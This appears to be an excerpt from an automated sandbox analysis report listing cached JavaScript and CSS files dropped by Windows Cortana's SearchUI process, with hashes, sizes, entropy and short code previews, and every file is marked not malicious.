                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\zh8Gb8BdCdZddFgn7wQ6G86Jdok.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):37342
                                                              Entropy (8bit):5.3267899861839485
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F44EA9D80C88FBCDA801F3A2E0D79E8D
                                                              SHA1:942DAC5E088686F2D09D048AA5F376DE366421E1
                                                              SHA-256:57DEBE6CDD1AEBDE19A85A2B95AA78FD8DCA4726F12BBB0D59931E5F21F92C85
                                                              SHA-512:2AB3D3F4551DD32F0AA7BF50660FBC28FD690C95108AA460C4C465DEF883A7D76DE1E286D3132029BECA767AE615A0DF788F91D7367CD9D0C9DA32754CB3364D
                                                              Malicious:false
                                                              Preview: var Microsoft,__extends,WindowsFeedback,Feedback;(function(n){var t;(function(t){"use strict";function e(t){for(var f=null,r,i,u=0;u<t.length;u++){r=t[u];try{i=r.provide()}catch(e){n.le("Query provider "+r.name+" failed",e)}if(typeof i=="string"&&i.length>0){f=i;break}}return f}function p(t){var r=t.querySelectorAll('input[type="radio"][required][name]'),i=!0;return n.Core.ForEach(r,function(n){var r=n.getAttribute("name"),u='input[type="radio"][required][name="'+r+'"]:checked',f=t.querySelector(u)!==null;i=i&&f}),i}function l(t,i){var r,u;return t===window?t.document.documentElement["client"+i]:t.nodeType===9?(r=t.documentElement,u=t.body,Math.max(u["scroll"+i],u["offset"+i],r["scroll"+i],r["offset"+i],r["client"+i])):parseFloat(n.Core.GetComputedStyle(t)[i.toLowerCase()])}function a(n,t,i){var u={},f;for(var r in t)u[r]=n.style[r],n.style[r]=t[r];f=i(n);for(r in t)n.style[r]=u[r];return f}function w(){y(!1)}function v(n){y(!0,n)}function y(t,i){n.Core.ForEach(_d.querySelectorAll('inp
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\-cZsBti431DEnyexEqRgH_6Vh3E.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\41Ctwd2X9VNGNHVpdti2vTFozWw.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\BBDBvk5AokRBwrox4FNOb3dTd1E[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\JYoPtIKNhSsYx2yWTQ7wI2BbEs0[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\T60N45BmFmN366tGF_ypDnu_BSI.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):61910
                                                              Entropy (8bit):5.212669983150976
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:511133657AF5879385B2A2F549D8728A
                                                              SHA1:9FB769E39DDC9A2F24CD80B4ECE18BFF2E1C89EE
                                                              SHA-256:CDFEAEB6D130502BCD1C97485FD247E8377F47E308E15C829BDB6B43EAC370D6
                                                              SHA-512:F487AA6610D4EA74A2DB08DDC5628D650BCFE55C1021EFF930F9FFF9E4EDE2B4B84C8528ED23A34B8371860335E916FACDAB3894A134764125299EA9D2FCC31D
                                                              Malicious:false
                                                              Preview: var WSB;(function(n){function di(n,i){var r=[],u,f;if(i)if(n)r=i.slice();else{u=function(n){var t=i.find(function(t){return t.verb&&t.verb.toLocaleLowerCase()==n.toLocaleLowerCase()});t&&r.push(t)};for(f in t)u(f)}return r}function gi(n){return n?n.filter(function(n){return!n.verb||n.verb.toLowerCase()!="open"}):[]}function f(t,i,r,u,f,e){e()&&(t=t.slice(),i.getExtraVerbsAsync?n.Promise.safeChain("getExtraVerbsAsync",function(){return i.getExtraVerbsAsync(u)},function(n){return h(k(t,n,!0),i,u,f,e)},function(){return h(t,i,u,f,e)},null,r):h(t,i,u,f,e))}function h(n,t,i,r,u){if(u()){var f=t.getExtraVerbs?k(n,t.getExtraVerbs(i),!1):n;f[0]==v&&f.shift();r(f)}}function nr(i,r,u,f){return i.map(function(i){var e,o,s,h;if(i.verb){switch(i.verb.toLocaleLowerCase()){case at:e="PinnedToStart";break;case w:e="PinnedToTaskbar";break;case vt:e="UnpinnedFromStart";break;case b:e="UnpinnedFromTaskbar";break;case lt:o="UninstallConfirmation";e="UninstallationInProgress"}return s=function(t){t();n.Run
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\XlOxpNAPazK1Ul3yuHNFQLgvMig.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):68729
                                                              Entropy (8bit):5.410874231094568
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FDB38BCD50516FE5B941C0A129871C7A
                                                              SHA1:C3EAE8B7DDCA1D1CAE603736B62C8DDC30682220
                                                              SHA-256:3F3896F727136A67F7B5A668FC950CC74DD266B48AD6DB80B43C5A0F88EAD898
                                                              SHA-512:1B16CB45494B7D946180B88FB767DF9C97D1FF93D845CF8A5E36468844D60878275FA3EFA12D73335810D77514AAF73119C5F5DB1B154E845ACB8979AA61E761
                                                              Malicious:false
                                                              Preview: var __extends=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}n(t,i);t.prototype=i===null?Object.create(i):(r.prototype=i.prototype,new r)}}(),__spreadArrays,WSB;(function(n){var i="NT",p="NF",t="https://substrate.office.com{0}/api/v1/",w=t+"events",o=t+"init",b=t+"suggestions?query=",k=t+"query",d=t+"recommendations",s="SubstrateSearchService",g="https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/{0}?Protocol={1}",r="AutoDiscoveryKey",h="gwsflt.",nt="textdecorations",c="scenario",tt="setflight",it="debug",l="entitytypes",rt="1",ut="scopes",ft="people.directorysearch",et="Authorization",f="Content-Type",ot="X-AnchorMailbox",st="X-Client-Language",ht="X-Client-LocalTime",a="Client-Request-Id",v="User-Agent",ct="X-Debug-ExternalExp",lt="X-Client-Flights"
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\Yi3Flkft8YS8nbd9qCHjIlXAHPg.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):45447
                                                              Entropy (8bit):4.519302585237155
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6859B06C69A93BD325D6CDB2A5CECBD4
                                                              SHA1:5F1B96C6E59054C14D1EE9A3F3A2CBBC70E03B87
                                                              SHA-256:6A232348034A0564B74D8A293AC8DC15664E26664CD4E071E1D2E740B76D9EC6
                                                              SHA-512:9166D92CBF6945282259A2CA8D53F6D5986FF81DE3D61C191D44A745B093936E21E71132833CB885A829C9BF9E4CE42618BD5E995B7A24929436615DF35E91ED
                                                              Malicious:false
                                                              Preview: var WSB;(function(n){var t;(function(n){var t;(function(n){function t(n,t){return n[t]?n[t]:0}function i(n){return t(n,25)>.5?t(n,282)>.39824?.69957:t(n,11)>.5?-.10865:t(n,0)>.11348?-.43924:-.84281:t(n,10)>1.5?t(n,282)>.74998?.96874:t(n,264)>.2555?t(n,10)>2.5?t(n,103)>.75004?t(n,158)>4595?.45522:.86367:t(n,16)>4800.5?t(n,0)>.37977?.70215:.19872:t(n,8)>.5?t(n,38)>390296.5?.40772:.75656:.18243:t(n,2)>1.5?.4651:-.16901:t(n,41)>.1765?.90432:.44919:t(n,282)>.70002?.68892:t(n,2)>2.5?t(n,16)>3320.5?-.30696:.07806:-.53174}function r(n){return t(n,25)>.5?t(n,282)>.49998?.59407:t(n,17)>.77996?-.15554:-.67158:t(n,10)>1.5?t(n,282)>.66667?.80523:t(n,10)>3.5?t(n,41)>.5175?.77296:t(n,8)>.5?t(n,158)>6310.5?.272:t(n,38)>29401304?.07058:.63578:.16914:t(n,94)>.57635?t(n,39)>.0305?.32237:.68096:t(n,2)>2.5?t(n,38)>3203480.5?.02127:.50932:t(n,16)>5365.5?t(n,296)>.8325?-.37343:.20213:.1316:t(n,282)>.77894?.58741:t(n,16)>3833?-.41734:t(n,103)>.63135?.09324:-.23768}function u(n){return t(n,25)>.5?t(n,282)>.307
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\ZkAG-UZl4xeENnu1psdKTgHhS2A.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\_ae0cB8fPDMkfSJUO5xUuczSt7E[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\b7PYrtpXGXE_bvZ4M1MrlULeVLE.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):44752
                                                              Entropy (8bit):5.5814908250758455
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3CD24086581E8185051876E4AC6BE8AB
                                                              SHA1:8FBD2F8D7C8B87C3433E157A8DB05CF00A303CB4
                                                              SHA-256:69923A7FE888459B43B39338F63164221DFBE1D2ECEA558BA073AED27B0E7F9D
                                                              SHA-512:73918F6F28FDFAFC070365B9C996CC157A37DF63C1EB8C59A9FC39F0DCD1C9EEFA00F4873FCA626785FEFA33E86D235ED1D066230B30785011A42BEFD35A3535
                                                              Malicious:false
                                                              Preview: var WSB;(function(n){function c(n){return n.toLocaleLowerCase().replace(l,"").trim()}function v(){return o}function e(n,t,i,r,u){if(!n)return i;if(typeof n!="string")try{return{content:URL.createObjectURL(n),type:0,bgColor:r}}catch(f){return SharedLogHelper.LogError("convertToHtmlImage "+t,u,f),i}else return{content:n,type:0,bgColor:r}}var o="data:img/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAR4UlEQVR4nMVbe4wd5XX/nW/m7nr9XNtpMSqpAZOShLbQ8gpgIFHU/EOSmiJASaWqqqmCUpqakMoxCKEopXbVQoiEqigyJFFaEVInMcSkokqa3YQIh9CAIAZMvH6AIfiBd+193cfMd6pzvsfM3Hv3Za/Jt5qd973f+Z1zfucxc4mZcTrHRT95cwPA6xj2fMAuY7J9gHynLBagYk1kZTsjsmMEux/A/sRk33r28ksfPV1TnHcALh58ezXD3s2w1zHsqiAge6EZeUloiwiG3xYQyK/lmJF9skzIDyVJ9gSR/eLTf3rtgfma77wBcMng8Q2AvY1h17AKbMFRQL8vwuu3OkAoAFECQPaJisUBINfmMCaHoQzG2CFD+YM/vfDPHjjVeZ8yAJcOnhATv4fB/U7DNi6iaV0jrxwL11UFd0IShe1i3+jaIk1aCgApEBbGZJOGsi//7wV/vukdB+CywfHVAP9INO4ECkI5TTMhah5toBTHg/kHSwjaLtZyPjEOAGNaCoazhNwBYjLZHjEm/8KT5980Z4s4KQAuH5zYDPBGVjHZ+7fVvwCA0z6XTF9cojD5CgDeEqjMAwU
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\h2K-JrpzUGDQHdN-yC7uggav5Es[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\p_H40Ndq102p2Socno0_V88cqhw[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\zEQqhwKoETyGdQapOnP2uL1FFF0.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):202174
                                                              Entropy (8bit):4.353086485551748
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:30F68A3EA9F8FE63101E59CED32FA3E7
                                                              SHA1:0450964533A5363F20FD7A7AE16821CDFC1FCC1D
                                                              SHA-256:90FCCF6342D5BCFDE3F69F88B80253EC694B9B901CC55FD84A2E0C6E0FF05CAF
                                                              SHA-512:F994377757539611FE2781B6AEEDCFE2B2C7073516C0F3887C0FD836E1ED69066DAABE7065DAE1FC4AA071F8F5080939591B3EBD4642B1EAA42C7B25C2003349
                                                              Malicious:false
                                                              Preview: var WSB;(function(n){var t;(function(n){var t;(function(n){function t(n,t){return n[t]?n[t]:0}function i(n){return t(n,282)>.3896?t(n,282)>.38961?t(n,267)>.6104?t(n,39)>.0145?t(n,282)>.66669?t(n,38)>7124751?t(n,103)>.99997?.49246:.46311:.42968:.2235:t(n,3)>.03371?.4983:t(n,282)>.62505?t(n,25)>.503?t(n,47)>2.5?.44633:.30993:t(n,38)>223508416?.47784:t(n,269)>4502?t(n,269)>4565?.47772:t(n,284)>1.5?t(n,103)>.99997?.49992:.4902:.4969:.45473:.15382:t(n,267)>.61031?-.49998:.23231:.48906:t(n,0)>.50822?t(n,266)>.00112?-.29242:t(n,41)>.9715?.42523:t(n,41)>.3765?t(n,421)>.71793?t(n,38)>67927560?.44213:.43113:.3727:t(n,24)>.1855?-.031:.35364:t(n,103)>.98373?t(n,421)>.69234?t(n,266)>.00112?-.08047:.41851:t(n,94)>.7673?.4414:t(n,38)>5528556?t(n,94)>.17559?t(n,40)>.1685?.19613:-.26247:-.28885:.21078:t(n,266)>.24569?t(n,1)>.5?t(n,0)>.00477?t(n,266)>.25463?-.43181:t(n,264)>.53942?-.49933:-.27443:t(n,264)>.53942?t(n,266)>.25463?-.46023:-.49705:-.45348:t(n,38)>694628928?t(n,41)>.2425?t(n,267)>.6104?-.441
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\OJXO1A5G\zh8Gb8BdCdZddFgn7wQ6G86Jdok.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\4yU6o9nzuSe0YbPN7SClkKqmF_A.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\98-tFzBbrLP3oaKdmZtyZ4BBBI4.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\Cj4mQnDN_eMyYEqsEbjRrJ2Ttec.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\I-iaeF2_hBWL-N4uY_JLxrlxDpc.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):6584
                                                              Entropy (8bit):5.431678053520003
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BD7AE7C3176D8081B60F1107A59E2E0A
                                                              SHA1:0DA7BD177B96AF58FDE9C890671BD488C2E2436D
                                                              SHA-256:69A4F680A4A443E28D84769ABBBCDC1A64F24117E2B477B49DF0E6CFD5A83FCC
                                                              SHA-512:0145288AB1C74C45790C7ABCA7B0AA6A0E8C09AB05FC5B9A0AB858BE1B6E302F043EE5DA81C57158BE48A1700D63E9567C8D5DD56ED021508622F81A1D99D168
                                                              Malicious:false
                                                              Preview: /** @license React v16.1.1.. * react.production.min.js.. *.. * Copyright (c) 2013-present, Facebook, Inc... *.. * This source code is licensed under the MIT license found in the.. * LICENSE file in the root directory of this source tree... */..'use strict';(function(p,l){"object"===typeof exports&&"undefined"!==typeof module?module.exports=l():"function"===typeof define&&define.amd?define(l):p.React=l()})(this,function(){function p(a){for(var b=arguments.length-1,c="Minified React error #"+a+"; visit http://facebook.github.io/react/docs/error-decoder.html?invariant\x3d"+a,e=0;e<b;e++)c+="\x26args[]\x3d"+encodeURIComponent(arguments[e+1]);b=Error(c+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings.");..b.name="Invariant Violation";b.framesToPop=1;throw b;}function l(a){return function(){return a}}function n(a,b,c){this.props=a;this.context=b;this.refs=v;this.updater=c||w}function x(a,b,c){this.props=a;this.context=b;this.refs=
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\S8MJOHUH\h2K-JrpzUGDQHdN-yC7uggav5Es[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines
                                                              Category:dropped
                                                              Size (bytes):53064
                                                              Entropy (8bit):5.525676889251846
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E827D4AEEDF8314FFB8D453948B6F5C4
                                                              SHA1:EE03CA3DB1A1FD9D4C617EB71977FCF872CE2999
                                                              SHA-256:87343B47BD9E098F5FF7C6A9E438DC8116012A37FA8D6F4B44D4625E25D6DA80
                                                              SHA-512:4C31EA38633473BCCE536257475AC1703C375D2E86A561C541FF145E5A4A0FF5734EF9CE9DFD6BF8CAF75BC2FA661E1F0ADBE8B81A6BEF9E4E7C788166B7A456
                                                              Malicious:false
                                                              Preview: var __spreadArrays,CoreUtilities,LoggerModule,VisibilityChangeHelperModule,HitHighlightingParserImpl,DataSourceLayoutManager,ThresholdDiagnosticsProd,FailedPromise,ThresholdUtilitiesM2;_w.EventsToDuplicate=[];_w.useSharedLocalStorage=!1;define("shared",["require","exports"],function(n,t){function s(n,t){for(var r=n.length,i=0;i<r;i++)t(n[i])}function r(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];return function(){n.apply(null,i)}}function u(n){i&&event&&(event.returnValue=!1);n&&typeof n.preventDefault=="function"&&n.preventDefault()}function f(n){i&&event&&(event.cancelBubble=!0);n&&typeof n.stopPropagation=="function"&&n.stopPropagation()}function e(n,t,i){for(var r=0;n&&n.offsetParent&&n!=(i||document.body);)r+=n["offset"+t],n=n.offsetParent;return r}function o(){return(new Date).getTime()}function h(n){return i?event:n}function c(n){return i?event?event.srcElement:null:n.target}function l(n){return i?event?event.fromElement:null:n.relatedTarget}function a(n){retu
